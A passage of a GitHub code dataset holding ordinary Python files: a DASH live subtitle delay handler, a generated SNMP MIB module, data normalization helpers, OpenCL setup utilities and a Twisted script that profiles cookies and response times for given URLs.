self.__base_urls[-1] + initialization\n                new_url.set_url(initialization, self.__live_origin_manifest_url)\n                segment_template.initialization = new_url.absolute_url\n                audio_init_url = segment_template.initialization\n\n                if content_type == \"audio\" and self.__streams[stream_key].audio_sampling_rate == 0:\n                    # we need to read audio init fragment to get the audio_sampling_rate\n                    audio_init_url = audio_init_url.replace('$RepresentationID$', representation_id)\n                    self.__streams[stream_key].audio_sampling_rate = self._read_audio_init(audio_init_url)\n\n                #from urllib.parse import urlparse, urlunparse\n                #base_url = mpegdash.nodes.BaseURL()\n                #parsed_parent_url = urlparse(self.__live_origin_manifest_url)\n                #new_path = parsed_parent_url.path[:parsed_parent_url.path.rfind('/') + 1]\n                #base = urlunparse((parsed_parent_url.scheme,\n                #                   parsed_parent_url.netloc,\n                #                   new_path,\n                #                   '',\n                #                   '',\n                #                   ''))\n                #base_url.base_url_value = base\n                #adaptation_set.base_urls = []\n                #adaptation_set.base_urls.append(base_url)\n\n                self.__streams[stream_key].time_scale = segment_template.timescale\n                self.__streams[stream_key].media = segment_template.media\n\n                if self.__first_manifest_read is True:\n                    Utils.logger_.debug('DashLiveDelayHandler', \"DashLiveDelayHandler::run adaptation_set_id={}, content_type={}, time_scale={}, media={}\".format(adaptation_set_id, content_type, self.__streams[stream_key].time_scale, self.__streams[stream_key].media))\n\n                segment_time_line = segment_template.segment_timelines[0]\n\n                for s in segment_time_line.Ss:\n                    #print(s.t, s.d, s.r)\n\n                    duration: int = 0\n                    repeat: int = 1\n\n                    if s.t is not None:\n                        current_timestamp = s.t\n\n                    if s.d is not None:\n                        duration = float(s.d)\n                        # next_timestamp = current_timestamp + duration\n\n                    if s.r is not None:\n                        repeat = s.r + 1\n\n                    for x in range(repeat):\n\n                        self.__streams[stream_key].time_in_current_manifest += (duration / self.__streams[stream_key].time_scale)\n\n                        if current_timestamp > self.__streams[stream_key].max_timestamp:\n\n                            new_media = self.__streams[stream_key].media\n                            new_media = new_media.replace('$Bandwidth$', str(min_bandwidth))\n                            new_media = new_media.replace('$Time$', str(current_timestamp))\n                            new_media = new_media.replace('$RepresentationID$', representation_id)\n\n                            new_fragment = EosFragment()\n                            new_fragment.url.set_url(new_media, self.__live_origin_manifest_url)\n                            new_fragment.sampling_rate = self.__streams[stream_key].audio_sampling_rate\n                            new_fragment.timestamp = current_timestamp\n                            new_fragment.duration = (duration / self.__streams[stream_key].time_scale)\n                            new_fragment.start_time = self.__streams[stream_key].current_time\n                            new_fragment.first_read = self.__first_manifest_read\n                            #if line_index == len(lines):\n                            #    new_fragment.first_read = False\n\n                            self.__streams[stream_key].fragments.append(new_fragment)\n                            self.__streams[stream_key].time_in_fragments += (duration / self.__streams[stream_key].time_scale)\n                            self.__streams[stream_key].max_timestamp = current_timestamp\n                            self.__streams[stream_key].current_time += (duration / self.__streams[stream_key].time_scale)\n                            if self.__streams[stream_key].presentation_time_offset == 0:\n                                self.__streams[stream_key].presentation_time_offset = new_fragment.timestamp / self.__streams[stream_key].time_scale\n\n                            if content_type == \"audio\" and self.__reference_adaptation_set_id is not None and self.__reference_adaptation_set_id == adaptation_set_id:\n                                self.__notify_listeners(new_fragment)\n\n                            #print(\"+++++++++++ adaptation_set_id={}, fragments={}, time_in_fragments={}\".format(adaptation_set_id, len(self.__streams[stream_key].fragments), self.__streams[stream_key].time_in_fragments))\n\n                        current_timestamp += int(duration)\n\n                if self.__streams[stream_key].time_in_current_manifest > 60.0:\n                    if self.__first_manifest_read is True:\n                        Utils.logger_.warning(self.__session_id, \"DashLiveDelayHandler::run live manifest too long ({} seconds)\".format(self.__streams[stream_key].time_in_current_manifest))\n                    self.__streams[stream_key].time_in_current_manifest = 60.0\n\n            if self.__first_manifest_read is True:\n                # Utils.logger_.debug_color(self.__session_id, \"DashLiveDelayHandler::run media_sequence={}\".format(self.__base_media_sequence))\n                self.__first_manifest_read = False\n\n            self.__lock.release()\n\n            self.__ready.set()\n\n            time.sleep(1)\n\n        Utils.logger_.system('DashLiveDelayHandler', \"DashLiveDelayHandler::run thread ending name={}\".format(self.getName()))\n\n    ####################################################\n    #  delay\n    ####################################################\n    def delay(self) -> Tuple[str, List[EosFragment]]:\n\n        fragment_list: List[EosFragment] = []\n\n        self.__lock.acquire()\n\n        #copy_segment_time_line = None\n        reference_timescale = 0\n        reference_start_time = 0\n        reference_duration = 0\n\n        for stream in self.__streams:\n\n            #print(\"++++++++++++++++++++++ stream: \", stream)\n\n            start_index = 0\n            end_index = -1\n\n            #print(\"++++++++++++++++++++++ self.__streams[stream].time_in_fragments: \", self.__streams[stream].time_in_fragments)\n            #print(\"++++++++++++++++++++++ self.__delay_seconds: \", self.__delay_seconds)\n            #print(\"++++++++++++++++++++++ self.__streams[stream].time_in_current_manifest: \", self.__streams[stream].time_in_current_manifest)\n\n            if self.__streams[stream].time_in_fragments >= self.__delay_seconds + self.__streams[stream].time_in_current_manifest:\n\n                # create delay\n                end_index = len(self.__streams[stream].fragments) - 1\n\n                delay_time = 0\n                for fragment in reversed(self.__streams[stream].fragments):\n\n                    delay_time += fragment.duration\n                    end_index -= 1\n\n                    if delay_time >= self.__delay_seconds:\n                        break\n\n                # remove fragment from head\n                time_in_fragment = self.__streams[stream].time_in_fragments\n\n                for fragment in self.__streams[stream].fragments:\n\n                    if time_in_fragment - delay_time > self.__streams[stream].time_in_current_manifest:\n\n                        time_in_fragment -= fragment.duration\n                        start_index += 1\n\n                    else:\n                        break\n\n                #for i in range(start_index):\n                #    self.__fragments.pop(0)\n                #    self.__time_in_fragments -= fragment.duration\n\n            #print(\"******************** start_index={}, end_index={}\".format(start_index, end_index))\n\n            period = self.__mpd.periods[0]\n            for adaptation_set in period.adaptation_sets:\n\n                adaptation_set_id = adaptation_set.id\n                content_type = adaptation_set.content_type\n\n                if adaptation_set_id is None:\n                    if adaptation_set.content_components is not None:\n                        adaptation_set_id = adaptation_set.content_components[0].id\n                        content_type = adaptation_set.content_components[0].content_type\n\n                if (content_type, adaptation_set_id) == stream:\n\n                    segment_template = adaptation_set.segment_templates[0]\n\n                    segment_time_line = segment_template.segment_timelines[0]\n\n                    segment_time_line.Ss.clear()\n\n                    #print(\"******************** 1 segment_time_line={}\".format(segment_time_line))\n\n                    first_timestamp = 0\n                    duration = 0\n                    if end_index > -1:\n                        first = True\n                        last_s = None\n                        next_timestamp = 0\n                        for fragment in self.__streams[stream].fragments[start_index - 1:end_index]:\n\n                            #print(\"&&&&&&&&&&&&&&&&&&&& fragment={}\".format(fragment))\n\n                            s = mpegdash.nodes.S()\n\n                            if first is True:\n                                first = False\n                                s.t = fragment.timestamp\n                                first_timestamp = fragment.timestamp\n\n                            repeated = False\n                            if last_s is not None:\n                                if int(last_s.d) == int(fragment.duration * self.__streams[stream].time_scale) and next_timestamp == fragment.timestamp:\n                                    repeated = True\n                                    duration += int(fragment.duration * self.__streams[stream].time_scale)\n                                    if last_s.r is not None:\n                                        last_s.r = last_s.r + 1\n                                    else:\n                                        last_s.r = 1\n\n                            if repeated is False:\n\n                                if next_timestamp != fragment.timestamp:\n                                    s.t = fragment.timestamp\n\n                                s.d = int(fragment.duration * self.__streams[stream].time_scale)\n                                duration += int(fragment.duration * self.__streams[stream].time_scale)\n\n                                #print(\"&&&&&&&&&&&&&&&&&&&&&& \", s.t, s.d, s.r)\n                                segment_time_line.Ss.append(s)\n\n                                last_s = s\n\n                            next_timestamp = fragment.timestamp + int(fragment.duration * self.__streams[stream].time_scale)\n\n                            fragment_list.append(fragment)\n\n                    if adaptation_set_id == self.__reference_adaptation_set_id:\n                        #copy_segment_time_line = segment_time_line\n                        reference_timescale = self.__streams[stream].time_scale\n                        reference_start_time = first_timestamp\n                        reference_duration = duration\n\n                    #print(\"******************** 2 segment_time_line={}\".format(segment_time_line))\n\n        for eos_stream in self.__eos_streams:\n            eos_period = self.__mpd.periods[0]\n            for eos_adaptation_set in eos_period.adaptation_sets:\n\n                eos_adaptation_set_id = adaptation_set.id\n                eos_content_type = adaptation_set.content_type\n\n                if eos_adaptation_set_id is None:\n                    if eos_adaptation_set.content_components is not None:\n                        eos_adaptation_set_id = eos_adaptation_set.content_components[0].id\n                        eos_content_type = eos_adaptation_set.content_components[0].content_type\n\n                if eos_content_type == 'text':#  and eos_adaptation_set_id == eos_stream:\n                    eos_segment_template = eos_adaptation_set.segment_templates[0]\n\n                    #eos_segment_template.segment_timelines = [copy_segment_time_line]\n\n                    #print(\"reference_duration=\", reference_duration)\n\n                    if reference_duration > 0:\n                        eos_segment_time_line = eos_segment_template.segment_timelines[0]\n                        eos_segment_time_line.Ss = []\n                        s = mpegdash.nodes.S()\n                        s.t = int(reference_start_time * 1000 / reference_timescale)\n                        s.d = 4000\n                        r = reference_duration / reference_timescale\n                        s.r = int(r / 4)\n                        eos_segment_time_line.Ss.append(s)\n\n        #delay = timedelta(seconds=self.__delay_seconds)\n        #self.__mpd.publish_time = (datetime.utcnow() - delay).strftime('%Y-%m-%dT%H:%M:%SZ')\n        self.__mpd.publish_time = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n\n        # handle mpd time\n        if self.__mpd_buffer_time_set is False:\n            #self.__mpd.suggested_presentation_delay = 'PT' + str(self.__delay_seconds) + 'S'\n            self.__mpd.suggested_presentation_delay = isodate.duration_isoformat(isodate.Duration(seconds=self.__delay_seconds))\n\n            time_shift_buffer_depth = isodate.parse_duration(self.__mpd.time_shift_buffer_depth)\n            added_duration = isodate.Duration(seconds=self.__delay_seconds)\n            time_shift_buffer_depth += added_duration\n            self.__mpd.time_shift_buffer_depth = isodate.duration_isoformat(time_shift_buffer_depth)\n\n            max_segment_duration = isodate.parse_duration(self.__mpd.max_segment_duration)\n            subtitles_segment_duration = isodate.Duration(seconds=4)\n            if subtitles_segment_duration.tdelta > max_segment_duration:\n                self.__mpd.max_segment_duration = isodate.duration_isoformat(subtitles_segment_duration)\n\n            self.__mpd_buffer_time_set = True\n\n        manifest = mpegdash.parser.MPEGDASHParser.get_as_doc(self.__mpd).toxml()\n\n        #print(\"manifest=\", manifest)\n\n        self.__lock.release()\n\n        return manifest, fragment_list\n\n    ####################################################\n    #  _read_audio_init\n    ####################################################\n    def _read_audio_init(self, audio_init_url: str) -> int:\n\n        audio_init_request_wrapper = RequestWrapper(self.__session_id, 'DashLiveDelayHandler ' + audio_init_url)\n\n        audio_init = None\n        response = audio_init_request_wrapper.get(audio_init_url)\n        if response is None:\n            Utils.logger_.error(str(self.__session_id), \"DashLiveDelayHandler::_read_audio_init error getting audio init from server\")\n            return 0\n\n        audio_init = response.content\n\n        init_decoder = DashInitDecoder(audio_init)\n        audio_sampling_rate = init_decoder.read_audio_sampling_rate()\n\n        return audio_sampling_rate\n\n    ####################################################\n    #  register_live_parser_listener\n    ####################################################\n    def register_live_parser_listener(self, listener: LiveDelayListener, param: Optional[str]) -> None:\n\n        self.__listeners.append((listener, param))\n\n    ####################################################\n    #  __notify_listeners\n    ####################################################\n    def __notify_listeners(self, fragment: EosFragment) -> None:\n\n        for listener, param in self.__listeners:\n            listener.on_new_fragment(fragment, param)\n","repo_name":"nirb999/easy-ott-subtitles","sub_path":"easy-ott-subtitles/DashLiveDelayHandler.py","file_name":"DashLiveDelayHandler.py","file_ext":"py","file_size_in_byte":26304,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"6824304839","text":"#\n# PySNMP MIB module HM2-TC-MIB (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HM2-TC-MIB\n# Produced by pysmi-0.3.4 at Mon Apr 29 19:18:31 2019\n# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\nInteger, ObjectIdentifier, OctetString = mibBuilder.importSymbols(\"ASN1\", \"Integer\", \"ObjectIdentifier\", \"OctetString\")\nNamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")\nValueRangeConstraint, ValueSizeConstraint, ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"ValueRangeConstraint\", \"ValueSizeConstraint\", \"ConstraintsIntersection\", \"SingleValueConstraint\", \"ConstraintsUnion\")\nNotificationGroup, ModuleCompliance = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"NotificationGroup\", \"ModuleCompliance\")\nIpAddress, Gauge32, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Bits, Unsigned32, Counter64, ObjectIdentity, TimeTicks, iso, enterprises, Counter32, MibIdentifier, NotificationType, Integer32 = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"IpAddress\", \"Gauge32\", \"ModuleIdentity\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"Bits\", \"Unsigned32\", \"Counter64\", \"ObjectIdentity\", \"TimeTicks\", \"iso\", \"enterprises\", \"Counter32\", \"MibIdentifier\", \"NotificationType\", \"Integer32\")\nDisplayString, TextualConvention = mibBuilder.importSymbols(\"SNMPv2-TC\", \"DisplayString\", \"TextualConvention\")\nhm2TcMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 248, 11, 1))\nhm2TcMib.setRevisions(('2011-03-16 00:00',))\nif mibBuilder.loadTexts: hm2TcMib.setLastUpdated('201103160000Z')\nif mibBuilder.loadTexts: hm2TcMib.setOrganization('Hirschmann Automation and Control GmbH')\nhirschmann = MibIdentifier((1, 3, 6, 1, 4, 1, 248))\nhm2ConfigurationMibs = MibIdentifier((1, 3, 6, 1, 4, 1, 248, 11))\nhm2PlatformMibs = MibIdentifier((1, 3, 6, 1, 4, 1, 248, 12))\nclass HmEnabledStatus(TextualConvention, Integer32):\n    status = 'current'\n    subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2))\n    namedValues = NamedValues((\"enable\", 1), (\"disable\", 2))\n\nclass HmActionValue(TextualConvention, Integer32):\n    status = 'current'\n    subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2))\n    namedValues = NamedValues((\"noop\", 1), (\"action\", 2))\n\nclass HmTimeHHMM24(TextualConvention, OctetString):\n    status = 'current'\n    displayHint = '5a'\n    subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(0, 5)\n\nclass HmTimeSeconds1970(TextualConvention, Unsigned32):\n    status = 'current'\n\nclass HmLargeDisplayString(TextualConvention, OctetString):\n    status = 'current'\n    displayHint = '1024a'\n    subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(0, 1024)\n\nmibBuilder.exportSymbols(\"HM2-TC-MIB\", HmTimeHHMM24=HmTimeHHMM24, HmTimeSeconds1970=HmTimeSeconds1970, hirschmann=hirschmann, PYSNMP_MODULE_ID=hm2TcMib, hm2TcMib=hm2TcMib, HmLargeDisplayString=HmLargeDisplayString, hm2ConfigurationMibs=hm2ConfigurationMibs, HmEnabledStatus=HmEnabledStatus, HmActionValue=HmActionValue, hm2PlatformMibs=hm2PlatformMibs)\n","repo_name":"cisco-kusanagi/mibs.snmplabs.com","sub_path":"pysnmp/HM2-TC-MIB.py","file_name":"HM2-TC-MIB.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"12760373450","text":"from __future__ import division\nimport pandas as pd\nfrom collections import defaultdict\nfrom soa_data import data as soa_norms\n\ndef load_totalcounts(fiction=False):\n  count_fname = 'totalcounts{}.txt'.format('_fiction' if fiction else '')\n  f = open(count_fname)\n\n  nugs = f.read().split('\\t')\n  rows = [map(int, nug.split(',')) for nug in nugs if len(nug) > 1]\n  cols = ['year', 'matches', 'pages', 'books']\n  cdf = pd.DataFrame(rows, columns=cols)\n  cdf.set_index('year', drop=False, inplace=True)\n  return cdf\n\ndef normalize_sizeofs(ttytc):\n  \"\"\"Normalize by number of 'size of a's per year.\n  So the 'counts' per year are the % of 'size of a's with the given ending.\n  \"\"\"\n  # 'standard' number of matches per year\n  baseline = 10**9\n  tc = load_totalcounts()\n  yrs = range(1800, 2009)\n  norm_per_year = dict(zip(yrs, soa_norms))\n  for _, ytc in ttytc.iteritems():\n    for yr in ytc:\n      n = tc.loc[yr, 'matches']\n      n *= norm_per_year[yr]\n      ytc[yr] *= 1 / n\n\ndef normalize_sigma(ttytc):\n  # normalize the data so that the counts for each year add up to this (across tokens)\n  baseline = 100\n  counts_per_year = defaultdict(int)\n  for _, ytc in ttytc.iteritems():\n    for yr, count in ytc.iteritems():\n      counts_per_year[yr] += count\n\n  for term, ytc in ttytc.iteritems():\n    for yr in ytc:\n      ytc[yr] *= baseline / counts_per_year[yr]\n\n\ndef normalize_tc(ttytc):\n  totalcounts = load_totalcounts()\n  # 'standard' number of matches per year\n  baseline = 10**9\n  for term, ytc in ttytc.iteritems():\n    for yr in ytc:\n      adj = baseline / totalcounts.loc[yr, 'matches']\n      ytc[yr] *= adj\n\nnormalize = normalize_tc\n","repo_name":"colinmorris/size-of-an-x","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"71492399141","text":"# -*- coding: utf-8 -*-\n\"\"\" utils for stuff in the bin/ folder\n\n    :author: keksnicoh\n    \"\"\"\nimport os\nimport shutil\nimport pyopencl as cl\n\ndef file_exists_check(fname, silent):\n    \"\"\" checks whether a file exists and raises an FileExsitsError\n        if `silent` is True or the user can decide if the file\n        should be deleted or not via stdin/stdout.\n\n        Arguments:\n        ----------\n\n        :fname: string filename\n\n        :silent: bool silent\n\n        \"\"\"\n    if os.path.exists(fname):\n        if silent:\n            raise FileExistsError(fname)\n        else:\n            print('[\\033[33m???\\033[0m] file \"\\033[36m{}\\033[0m\" exists, delete and continue? [N/y]: '.format(fname), end='')\n            answer = input().lower().strip()\n            if answer == 'y':\n                shutil.rmtree(fname)\n            else:\n                raise FileExistsError(fname)\n\n\ndef cl_ctx_queue(cl_platform=0, cl_gpu_device=0):\n    \"\"\" returns ctx+queue for given cl_platform\n        and gpu device index\n\n        Arguments:\n        ----------\n\n        :cl_platform: platform index\n\n        :cl_gpu_device: indev of gpu device in the list of devides\n                        having type == cl.device_type.GPU\n\n        Returns:\n        --------\n\n        (ctx, queue) tuple\n\n        \"\"\"\n    assert isinstance(cl_platform, int)\n    assert isinstance(cl_gpu_device, int)\n\n    if cl_platform < 0:\n        raise ValueError('cl_platform must be positive, {} given.'.format(cl_platform))\n\n    if cl_gpu_device < 0:\n        raise ValueError('cl_gpu_device must be positive, {} given.'.format(cl_gpu_device))\n\n    platforms = cl.get_platforms()\n    if cl_platform >= len(platforms):\n        err = '[\\033[31mERR\\033[0m] cl_platform \\033[36m{}\\033[0m '\\\n            + 'out of range, \\033[36m0..{}\\033[0m are available: '\n        print(err.format(cl_platform, len(platforms) -1))\n\n        for i, d in enumerate(platforms):\n            hint = '      [\\033[36m{}\\033[0m] {}'\n            print(hint.format(i, d))\n\n        exit(1)\n\n    platform = platforms[cl_platform]\n    print('[\\033[33m...\\033[0m] OpenCL platform {}'.format(platform))\n\n    gpu_devices = list(d for d in platform.get_devices() if d.type == cl.device_type.GPU)\n    if cl_gpu_device >= len(gpu_devices):\n        err = '[\\033[31mERR\\033[0m] cl_gpu_device \\033[36m{}\\033[0m '\\\n            + 'out of range, \\033[36m0..{}\\033[0m are available: '\n        print(err.format(cl_gpu_device, len(gpu_devices) -1))\n\n        for i, d in enumerate(gpu_devices):\n            hint = '      [\\033[36m{}\\033[0m] {}'\n            print(hint.format(i, d))\n\n        exit(1)\n\n    device = gpu_devices[cl_gpu_device]\n    print('[\\033[33m...\\033[0m] OpenCL device   {}'.format(device))\n\n    ctx = cl.Context(devices=[device])\n    print('[\\033[33m...\\033[0m] OpenCL context  {}'.format(ctx))\n\n    return ctx, cl.CommandQueue(ctx)\n\n","repo_name":"keksnicoh/msc_thesis_dc_qjj","sub_path":"lib/cliutil.py","file_name":"cliutil.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27553431386","text":"#!/usr/bin/env python\n\"\"\"\nCookie profiler: Repeatedly hits given URLs and tracks cookies, without, and\n(optionally) with a session.\n\"\"\"\nimport curses, signal\nfrom urlparse import urlparse\nfrom optparse import OptionParser\nfrom datetime import datetime\nfrom cookielib import CookieJar\nfrom twisted.internet import reactor\nfrom twisted.web.client import Agent, CookieAgent\n\nTIMEOUT = 10 # seconds\n\nclass Requestor(object):\n    \"\"\" Manages the session, and makes requests to the given site (URL) \"\"\"\n    def __init__(self, sess, site, hook):\n        self.session = sess\n        self.site = site\n        self.hook = ('', '')\n        self.hook_ok = True\n        if self.session:\n            self.sess_cook, self.sess_agent = self.get_fresh()\n            if hook is not None:\n                self.hook = hook.split(':')\n                # flag to figure out if we need to catch a particular cookie\n                self.hook_ok = False\n\n    def get_fresh(self):\n        cook = CookieJar()\n        agnt = CookieAgent(Agent(reactor), cook)\n        return cook, agnt\n\n    def get_stale(self):\n        if self.session and not self.hook_ok:\n            for c in self.sess_cook:\n                if [c.name, c.value] == self.hook:\n                    # Satisfied hook condition, keep this as session\n                    self.hook_ok = True\n                    break\n            else:\n                # NOTE: this is an else for the for loop\n                # Haven't found hook, reset cookie jar + agent\n                self.sess_cook, self.sess_agent = self.get_fresh()\n        return self.sess_cook, self.sess_agent\n\n    def request(self, call_back, err_back, dt):\n        if self.session:\n            cjar, agent = self.get_stale()\n        else:\n            cjar, agent = self.get_fresh()\n        self.r = agent.request('GET', self.site)\n        self.r.addCallback(\n            call_back,\n            cjar=cjar,\n            calldt=dt\n        )\n        self.r.addErrback(err_back)\n\nclass PollWindow(object):\n    \"\"\" ncurses panel that represents a given URL \"\"\"\n    def __init__(self, site, win, cook, opts):\n        self.session = opts.session\n        self.site = site\n        self.stats = StatTracker(interesting_key=cook)\n        self.win = win\n        self.q = Requestor(False, site, opts.sess_hook)\n        if self.session:\n            self.sq = Requestor(True, site, opts.sess_hook)\n        self.update_view(False) # once as a placeholder\n        self.sched_call()\n        if self.session:\n            self.sess_sched_call()\n\n    def sched_call(self):\n        \"\"\" session-less agent, recreated the cookie jar each time it's\n        scheduled \"\"\"\n        now = datetime.now()\n        self.last_call = now\n        self.q.request(self.cbResponse, self.cbError, now)\n\n    def sess_sched_call(self):\n        \"\"\" session-ed agent, reuse the existing cookie-jar \"\"\"\n        now = datetime.now()\n        self.slast_call = now\n        self.sq.request(self.cbSessResponse, self.cbError, now)\n\n    def cbError(self, response):\n        pass\n\n    def timeout(self):\n        self._timeout(self.last_call, self.q)\n        self._timeout(self.slast_call, self.sq)\n\n    def _timeout(self, last, rq):\n        now = datetime.now()\n        delt = now - last\n        if delt.seconds > TIMEOUT:\n            rq.r.cancel()\n            # log the hit (or miss rather)\n            self.stats.hit(last)\n            # and try again\n            self.sched_call()\n\n    def cbResponse(self, response, **kwargs):\n        if 'cjar' in kwargs.keys():\n            self.hit(response, False, **kwargs)\n            self.sched_call() # continuously call\n\n    def cbSessResponse(self, response, **kwargs):\n        if 'cjar' in kwargs.keys():\n            self.hit(response, True, **kwargs)\n            self.sess_sched_call() # continuously call\n\n    def hit(self, response, sess, **kwargs):\n        headers = dict(response.headers.getAllRawHeaders())\n        is_redir = response.code in range(300, 308)\n        if sess and not self.sq.hook_ok:\n            # Wont count this, as the session is waiting for hook\n            return\n        self.stats.hit(\n            kwargs['calldt'],\n            cook=kwargs['cjar'],\n            sess=sess,\n            headr=headers,\n            redir=is_redir)\n        self.update_view(is_redir)\n\n    def update_view(self, redir):\n        if redir:\n            # clear window, one line warning follows\n            self.win.clear()\n        self.win.addstr(0, 0, self.site)\n        self.win.addstr(1, 0, str(self.stats))\n        self.win.refresh()\n\nclass StatTracker():\n    \"\"\" Class to keep hit count and timing data for requests, also keeps cookie\n    stats CookieTracker instance \"\"\"\n    def __init__(self, interesting_key=None):\n        self.cstats = CookieTracker(interesting_key)\n        self.responses = 0\n        self.gaps = []\n        self.avg_gap = 0.0\n        self.long_gap_dt = None\n        self.longest_gap = 0.0\n        self.redir_to = None\n        self.full_print = False\n\n    def hit(self, reqdt, cook=None, sess=False, headr=None, redir=False):\n        \"\"\" A request came in, collect relevant stats \"\"\"\n        self.responses += 1\n        if redir:\n            self.redir_to = headr['Location']\n        # First timing related stats\n        respdt = datetime.now()\n        gap_delt = respdt - reqdt\n        gap = gap_delt.seconds * 1.0\n        if gap > self.longest_gap:\n            self.long_gap_dt = reqdt\n            self.longest_gap = gap\n        self.gaps.append(gap)\n        self.avg_gap = sum(self.gaps) / len(self.gaps)\n        # Cookie stats\n        if not redir:\n            self.cstats.hit(cook, headr, sess)\n\n    def __str__(self):\n        if self.redir_to is not None:\n            return '!! Redirection to %s' % self.redir_to\n        if self.long_gap_dt is None:\n            lgap = '-'\n        else:\n            lgap = self.long_gap_dt.strftime('%m/%d %H:%M:%S')\n        self.cstats.full_print = self.full_print\n        return '\\n'.join((\n            'Total hits: %s' % self.responses,\n            'Average response time: %s' % round(self.avg_gap, 2),\n            'Slowest response time: %s' % round(self.longest_gap, 2),\n            'Slowest response start: %s' % lgap,\n            '',\n            str(self.cstats)\n        ))\n\nclass CookieTracker():\n    \"\"\" Class to keep actual cookie stats \"\"\"\n    def __init__(self, interesting_key):\n        self.ikey = interesting_key\n        # track sessioned keys identically, but separately\n        self.no_sess = {}\n        self.sess = {}\n        self.set_cookies = {}\n        self.full_print = False\n\n    def hit(self, cook, headr=None, sess=False):\n        if cook is None:\n            return\n        d = self.no_sess\n        if sess:\n            self.set_cook_catalog(headr)\n            d = self.sess\n        for c in cook:\n            stats = d.setdefault(c.name, {})\n            hits = stats.setdefault(c.value, [])\n            hits.append(datetime.now())\n\n    def set_cook_catalog(self, headr):\n        if not headr:\n            return\n        set_cooks = dict(headr).get('Set-Cookie', [])\n        if not set_cooks:\n            return\n        for set_cook in set_cooks:\n            key_val = set_cook.split('=')[:2]\n            key = key_val[0]\n            if key != self.ikey:\n                continue\n            val = key_val[1].split(';')[0]\n            seen = self.set_cookies.setdefault(key, [])\n            seen.append((val, datetime.now().strftime('%m/%d %H:%M:%S')))\n\n    def __str__(self):\n        ret = ['---- No Session ----']\n        ret.extend(self.report(self.no_sess))\n        if self.sess:\n            ret.append('---- Session ----')\n            ret.extend(self.report(self.sess))\n        return '\\n'.join(ret)\n\n    def report(self, dat):\n        ret = []\n        for kkey, vkey in dat.iteritems():\n            if kkey != self.ikey:\n                continue\n            ret.append('Cookie: %s' % kkey)\n            tot_hits = sum([len(x) for x in vkey.values()])\n            items = vkey.items()\n            if not self.full_print and len(items) > 3:\n                ret.append('(%s more to review in log)' % (len(items) - 3))\n                items = items[-3:]\n            for kval, vval in items:\n                val_hits = len(vval)\n                last_seen = vval[-1].strftime('%m/%d %H:%M:%S')\n                perc = 100*((val_hits*1.0)/tot_hits)\n                ret.extend([\n                    ' - %s' % kval,\n                    '  - %s hits (%s%%)' % (val_hits, round(perc, 1)),\n                    '  - last seen %s' % last_seen\n                ])\n            if self.sess.keys():\n                ret.append('Set-Cookies:')\n                for key, vlist in self.set_cookies.iteritems():\n                    ret.append(key)\n                    for v in vlist:\n                        ret.append(\"%s at %s\" % v)\n        return ret\n\ndef valid_url(u):\n    \"\"\" We're just going to expect a scheme and a netloc, and call that a good\n    URL \"\"\"\n    r = urlparse(u)\n    return '' not in [r.scheme, r.netloc]\n\nif __name__=='__main__':\n    usage = \"usage: %prog [options] COOKIE URL [URL ...]\"\n    parser = OptionParser(usage=usage)\n    parser.add_option(\n        '-f',\n        '--log-file',\n        type='string',\n        dest='log_file',\n        default='results.log',\n        help='File to log stats after session'\n    )\n    parser.add_option(\n        '-s',\n        '--session',\n        dest='session',\n        action='store_true',\n        help=('Will save set-cookie contents, and send back for tracking a '\n              'session. Will then track new set-cookie responses')\n    )\n    parser.add_option(\n        '-k',\n        '--session-hook',\n        type='string',\n        dest='sess_hook',\n        help='Which key:value to key off of to start session tracking'\n    )\n    opts, args = parser.parse_args()\n\n    if len(args) < 2:\n        parser.error('Must give us one COOKIE key and at least one URL')\n\n    cook, urls = args[:1][0], args[1:]\n    if valid_url(cook):\n        parser.error('Your COOKIE argument looks a lot like a URL, I\\'m '\n                     'guessing you just forgot to add the COOKIE')\n\n    for u in urls:\n        if not valid_url(u):\n            parser.error('%s doesn\\'t look like a valid URL. Please include '\n                         'the scheme (eg. http://)' % u)\n\n    whole = curses.initscr()\n    rows, cols = whole.getmaxyx()\n    try:\n        curses.curs_set(0)     # no annoying mouse cursor\n    except curses.error:\n        pass # encountered this in osx default terminal\n    col_width = cols / len(urls)\n    col_avail = cols\n    col_offs = 0\n    polls = []\n\n    for u in urls:\n        \"\"\" Configure ncurses panels \"\"\"\n        width = min(col_width, col_avail)\n        col_avail -= width\n        win = curses.newwin(rows, width, 0, col_offs)\n        win.addstr(0, 0, u)\n        polls.append(PollWindow(u, win, cook, opts))\n        col_offs += width\n\n    # Admittedly goofy timeout handling :(\n    def run_timeouts():\n        for p in polls:\n            p.timeout()\n        reactor.callLater(TIMEOUT, run_timeouts)\n    reactor.callLater(TIMEOUT, run_timeouts)\n\n    def fin_callback(signum, stackframe):\n        \"\"\" Hook for SIGINT (Ctrl-C) quit, writes out logged data to a log file\n        in sequence (as opposed the ncurses panel layout) \"\"\"\n        log = open(opts.log_file, 'w')\n        for p in polls:\n            p.stats.full_print = True\n            log.write('~~ %s ~~\\n%s\\n\\n' % (p.site, p.stats))\n        reactor.stop()\n        curses.endwin()\n    